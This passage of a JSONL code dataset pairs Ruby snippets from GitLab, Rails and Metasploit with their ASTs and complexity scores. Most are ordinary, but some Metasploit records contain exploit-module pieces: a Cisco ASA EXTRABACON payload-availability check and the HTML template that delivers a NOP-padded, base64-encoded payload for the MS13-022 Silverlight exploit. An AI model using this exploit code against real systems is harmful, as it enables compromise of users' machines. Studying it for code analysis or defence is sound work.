?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]},\"ago\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_emails_per_day_per_user\"]}]}]}]}","id":"58ebbf7a-9157-4c2c-b318-4bc7b5fc673e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/config/loader/yaml.rb","start_line":33,"raw_source":"def load_raw!\n          raise DataTooLargeError, 'The parsed YAML is too big' if too_big?\n          raise NotHashError, 'Invalid configuration format' unless hash?\n\n          @config\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load_raw!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"too_big?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"DataTooLargeError\"]},{\"type\":\"str\",\"children\":[\"The parsed YAML is too big\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hash?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotHashError\"]},{\"type\":\"str\",\"children\":[\"Invalid configuration format\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@config\"]}]}]}","id":"88bcb332-e1bd-43e1-b314-2d05f9fe23cc"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/base.rb","start_line":329,"raw_source":"def self.banner # :doc:\n          \"bin/rails generate #{namespace.delete_prefix(\"rails:\")} #{arguments.map(&:usage).join(' ')} [options]\".gsub(/\\s+/, \" \")\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"banner\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bin/rails generate \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"rails:\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arguments\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"usage\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"str\",\"children\":[\" [options]\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]}","id":"fc5187fe-61bf-40a8-ba27-ff65540eebc6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":680,"raw_source":"def test_count_with_arel_star\n    assert_equal 6, Account.count(Arel.star)\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_count_with_arel_star\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[6]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"star\"]}]}]}]}","id":"171801f2-ccd2-4577-91fe-4c0b7fa4e341"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/networking/cisco_asa_extrabacon.rb","start_line":110,"raw_source":"def check\n    begin\n      vers_string = retrieve_asa_version\n    rescue ::StandardError\n      print_error('Error: Unable to retrieve version information')\n      return Exploit::CheckCode::Unknown\n    end\n\n    if @offsets[vers_string]\n      print_good(\"Payload for Cisco ASA version #{vers_string} available!\")\n      return Exploit::CheckCode::Appears\n    end\n\n    print_warning(\"Received Cisco ASA version #{vers_string}, but no payload available\")\n    return Exploit::CheckCode::Detected\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vers_string\",{\"type\":\"send\",\"children\":[null,\"retrieve_asa_version\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"StandardError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Error: Unable to retrieve version information\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offsets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"vers_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload for Cisco ASA version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vers_string\"]}]},{\"type\":\"str\",\"children\":[\" available!\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Received Cisco ASA version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vers_string\"]}]},{\"type\":\"str\",\"children\":[\", but no payload available\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]}]}]}","id":"95292b02-7681-4e73-921d-af0049ebac66"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/update_service.rb","start_line":258,"raw_source":"def enabling_wiki?\n      return false if project.wiki_enabled?\n\n      params.dig(:project_feature_attributes, :wiki_access_level).to_i > ProjectFeature::DISABLED\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"enabling_wiki?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"wiki_enabled?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"project_feature_attributes\"]},{\"type\":\"sym\",\"children\":[\"wiki_access_level\"]}]},\"to_i\"]},\">\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectFeature\"]},\"DISABLED\"]}]}]}]}","id":"c5aebc64-3239-497b-a3a8-bc8b80b43984"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/redis/wrapper.rb","start_line":37,"raw_source":"def pool\n          @pool ||= if config_fallback &&\n              config_fallback.params.except(:instrumentation_class) == params.except(:instrumentation_class)\n                      config_fallback.pool\n                    else\n                      ConnectionPool.new(size: pool_size, name: store_name.underscore) { redis }\n                    end\n        end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"pool\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pool\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config_fallback\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config_fallback\"]},\"params\"]},\"except\",{\"type\":\"sym\",\"children\":[\"instrumentation_class\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"except\",{\"type\":\"sym\",\"children\":[\"instrumentation_class\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config_fallback\"]},\"pool\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConnectionPool\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[null,\"pool_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store_name\"]},\"underscore\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redis\"]}]}]}]}]}","id":"8fb7c8cc-a71a-4883-8d0c-652f57081684"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb","start_line":86,"raw_source":"def exploit_template(cli, target_info)\n    my_payload = get_payload(cli, target_info)\n\n    # Align to 4 bytes the x86 payload\n    while my_payload.length % 4 != 0\n      my_payload = \"\\x90\" + my_payload\n    end\n\n    my_payload = Rex::Text.encode_base64(my_payload)\n\n    html_template = <<~EOF\n      <html>\n      <!-- saved from url=(0014)about:internet -->\n      <head>\n        <title>Silverlight Application</title>\n        <style type=\"text/css\">\n          html, body { height: 100%; overflow: auto; }\n          body { padding: 0; margin: 0; }\n          #form1 { height: 99%; }\n          #silverlightControlHost { text-align:center; }\n        </style>\n      </head>\n      <body>\n        <form id=\"form1\" runat=\"server\" >\n          <div id=\"silverlightControlHost\">\n          <object data=\"data:application/x-silverlight-2,\" type=\"application/x-silverlight-2\" width=\"100%\" height=\"100%\">\n            <param name=\"source\" value=\"<%= @xap_name %>\"/>\n            <param name=\"background\" value=\"white\" />\n            <param name=\"InitParams\" value=\"payload=<%= my_payload %>\" />\n          </object>\n          </div>\n        </form>\n      </body>\n      </html>\n    EOF\n\n    return html_template, binding()\n  end","complexity_score":13.48,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_template\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"target_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"my_payload\",{\"type\":\"send\",\"children\":[null,\"get_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"target_info\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_payload\"]},\"length\"]},\"%\",{\"type\":\"int\",\"children\":[4]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvar\",\"children\":[\"my_payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"my_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"my_payload\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html_template\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<html>\\n\"]},{\"type\":\"str\",\"children\":[\"<!-- saved from url=(0014)about:internet -->\\n\"]},{\"type\":\"str\",\"children\":[\"<head>\\n\"]},{\"type\":\"str\",\"children\":[\"  <title>Silverlight Application</title>\\n\"]},{\"type\":\"str\",\"children\":[\"  <style type=\\\"text/css\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"    html, body { height: 100%; overflow: auto; }\\n\"]},{\"type\":\"str\",\"children\":[\"    body { padding: 0; margin: 0; }\\n\"]},{\"type\":\"str\",\"children\":[\"    #form1 { height: 99%; }\\n\"]},{\"type\":\"str\",\"children\":[\"    #silverlightControlHost { text-align:center; }\\n\"]},{\"type\":\"str\",\"children\":[\"  </style>\\n\"]},{\"type\":\"str\",\"children\":[\"</head>\\n\"]},{\"type\":\"str\",\"children\":[\"<body>\\n\"]},{\"type\":\"str\",\"children\":[\"  <form id=\\\"form1\\\" runat=\\\"server\\\" >\\n\"]},{\"type\":\"str\",\"children\":[\"    <div id=\\\"silverlightControlHost\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"    <object data=\\\"data:application/x-silverlight-2,\\\" type=\\\"application/x-silverlight-2\\\" width=\\\"100%\\\" height=\\\"100%\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"      <param name=\\\"source\\\" value=\\\"<%= @xap_name %>\\\"/>\\n\"]},{\"type\":\"str\",\"children\":[\"      <param name=\\\"background\\\" value=\\\"white\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"      <param name=\\\"InitParams\\\" value=\\\"payload=<%= my_payload %>\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"    </object>\\n\"]},{\"type\":\"str\",\"children\":[\"    </div>\\n\"]},{\"type\":\"str\",\"children\":[\"  </form>\\n\"]},{\"type\":\"str\",\"children\":[\"</body>\\n\"]},{\"type\":\"str\",\"children\":[\"</html>\\n\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_template\"]},{\"type\":\"send\",\"children\":[null,\"binding\"]}]}]}]}","id":"e9e3f83a-b86a-4454-9a70-63976b437934"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/x11/read.rb","start_line":4,"raw_source":"def x11_read_response(klass, timeout: 10)\n    unless klass.fields.field_name?(:response_length)\n      raise ::ArgumentError, 'X11 class must have the response_length field to be read'\n    end\n\n    remaining = timeout\n    reply_instance = klass.new\n\n    metalength = reply_instance.response_length.num_bytes\n    buffer, elapsed_time = Rex::Stopwatch.elapsed_time do\n      sock.read(reply_instance.response_length.abs_offset + metalength, remaining)\n    end\n    raise ::EOFError, 'X11: failed to read response' if buffer.nil?\n\n    remaining -= elapsed_time\n\n    # see: https://www.x.org/releases/X11R7.7/doc/xproto/x11protocol.html#request_format\n    response_length = reply_instance.response_length.read(buffer[-metalength..]).value\n    response_length *= 4 # field is in 4-byte units\n    response_length += 32 # 32 byte header is not included\n\n    while buffer.length < response_length && remaining > 0\n      chunk, elapsed_time = Rex::Stopwatch.elapsed_time do\n        sock.read(response_length - buffer.length, remaining)\n      end\n\n      remaining -= elapsed_time\n      break if chunk.nil?\n\n      buffer << chunk\n    end\n\n    unless buffer.length == response_length\n      if remaining <= 0\n        raise Rex::TimeoutError, 'X11: failed to read response due to timeout'\n      end\n\n      raise ::EOFError, 'X11: failed to read response'\n    end\n\n    reply_instance.read(buffer)\n  end","complexity_score":72.95,"ast_json":"{\"type\":\"def\",\"children\":[\"x11_read_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"kwoptarg\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"fields\"]},\"field_name?\",{\"type\":\"sym\",\"children\":[\"response_length\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"X11 class must have the response_length field to be read\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"remaining\",{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},{\"type\":\"lvasgn\",\"children\":[\"reply_instance\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"metalength\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply_instance\"]},\"response_length\"]},\"num_bytes\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buffer\"]},{\"type\":\"lvasgn\",\"children\":[\"elapsed_time\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Stopwatch\"]},\"elapsed_time\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply_instance\"]},\"response_length\"]},\"abs_offset\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"metalength\"]}]},{\"type\":\"lvar\",\"children\":[\"remaining\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"EOFError\"]},{\"type\":\"str\",\"children\":[\"X11: failed to read response\"]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remaining\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"elapsed_time\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response_length\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply_instance\"]},\"response_length\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metalength\"]},\"-@\"]},null]}]}]},\"value\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response_length\"]},\"*\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response_length\"]},\"+\",{\"type\":\"int\",\"children\":[32]}]},{\"type\":\"while\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"length\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"response_length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remaining\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chunk\"]},{\"type\":\"lvasgn\",\"children\":[\"elapsed_time\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Stopwatch\"]},\"elapsed_time\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_length\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"length\"]}]},{\"type\":\"lvar\",\"children\":[\"remaining\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remaining\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"elapsed_time\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"nil?\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"chunk\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"length\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"response_length\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remaining\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"TimeoutError\"]},{\"type\":\"str\",\"children\":[\"X11: failed to read response due to timeout\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"EOFError\"]},{\"type\":\"str\",\"children\":[\"X11: failed to read response\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply_instance\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"buffer\"]}]}]}]}","id":"e05e6506-9511-4a03-ac86-076e9e1becb8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespaces/project_namespace.rb","start_line":52,"raw_source":"def sync_attributes_from_project(project)\n      attributes_to_sync = project\n                             .changes\n                             .slice(*SYNCED_ATTRIBUTES)\n                             .transform_values { |val| val[1] }\n\n      # if visibility_level is not set explicitly for project, it defaults to 0,\n      # but for namespace visibility_level defaults to 20,\n      # so it gets out of sync right away if we do not set it explicitly when creating the project namespace\n      attributes_to_sync['visibility_level'] ||= project.visibility_level if project.new_record?\n\n      # when a project is associated with a group while the group is created we need to ensure we associate the new\n      # group with the project namespace as well.\n      # E.g.\n      # project = create(:project) <- project is saved\n      # create(:group, projects: [project]) <- associate project with a group that is not yet created.\n      if attributes_to_sync.has_key?('namespace_id') &&\n          attributes_to_sync['namespace_id'].blank? &&\n          project.namespace.present?\n        attributes_to_sync['parent'] = project.namespace\n      end\n\n      assign_attributes(attributes_to_sync)\n    end","complexity_score":22.73,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_attributes_from_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes_to_sync\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"changes\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SYNCED_ATTRIBUTES\"]}]}]},\"transform_values\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"new_record?\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes_to_sync\"]},\"[]\",{\"type\":\"str\",\"children\":[\"visibility_level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"visibility_level\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes_to_sync\"]},\"has_key?\",{\"type\":\"str\",\"children\":[\"namespace_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes_to_sync\"]},\"[]\",{\"type\":\"str\",\"children\":[\"namespace_id\"]}]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"namespace\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes_to_sync\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"parent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"namespace\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"assign_attributes\",{\"type\":\"lvar\",\"children\":[\"attributes_to_sync\"]}]}]}]}","id":"61a78a5b-663c-4076-8913-6185ceec188c"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/static.rb","start_line":122,"raw_source":"def try_precompressed_files(filepath, headers, accept_encoding:)\n        each_precompressed_filepath(filepath) do |content_encoding, precompressed_filepath|\n          if file_readable? precompressed_filepath\n            # Identity encoding is default, so we skip Accept-Encoding negotiation and\n            # needn't set Content-Encoding.\n            #\n            # Vary header is expected when we've found other available encodings that\n            # Accept-Encoding ruled out.\n            if content_encoding == \"identity\"\n              return precompressed_filepath, headers\n            else\n              headers[ActionDispatch::Constants::VARY] = \"accept-encoding\"\n\n              if accept_encoding.any? { |enc, _| /\\b#{content_encoding}\\b/i.match?(enc) }\n                headers[ActionDispatch::Constants::CONTENT_ENCODING] = content_encoding\n                return precompressed_filepath, headers\n              end\n            end\n          end\n        end\n      end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"try_precompressed_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filepath\"]},{\"type\":\"arg\",\"children\":[\"headers\"]},{\"type\":\"kwarg\",\"children\":[\"accept_encoding\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_precompressed_filepath\",{\"type\":\"lvar\",\"children\":[\"filepath\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content_encoding\"]},{\"type\":\"arg\",\"children\":[\"precompressed_filepath\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_readable?\",{\"type\":\"lvar\",\"children\":[\"precompressed_filepath\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_encoding\"]},\"==\",{\"type\":\"str\",\"children\":[\"identity\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"precompressed_filepath\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Constants\"]},\"VARY\"]},{\"type\":\"str\",\"children\":[\"accept-encoding\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accept_encoding\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"enc\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\b\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_encoding\"]}]},{\"type\":\"str\",\"children\":[\"\\\\b\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"enc\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Constants\"]},\"CONTENT_ENCODING\"]},{\"type\":\"lvar\",\"children\":[\"content_encoding\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"precompressed_filepath\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]},null]}]}]},null]}]}]}","id":"51c0c598-39fd-4f8a-973a-b948acf7439f"}
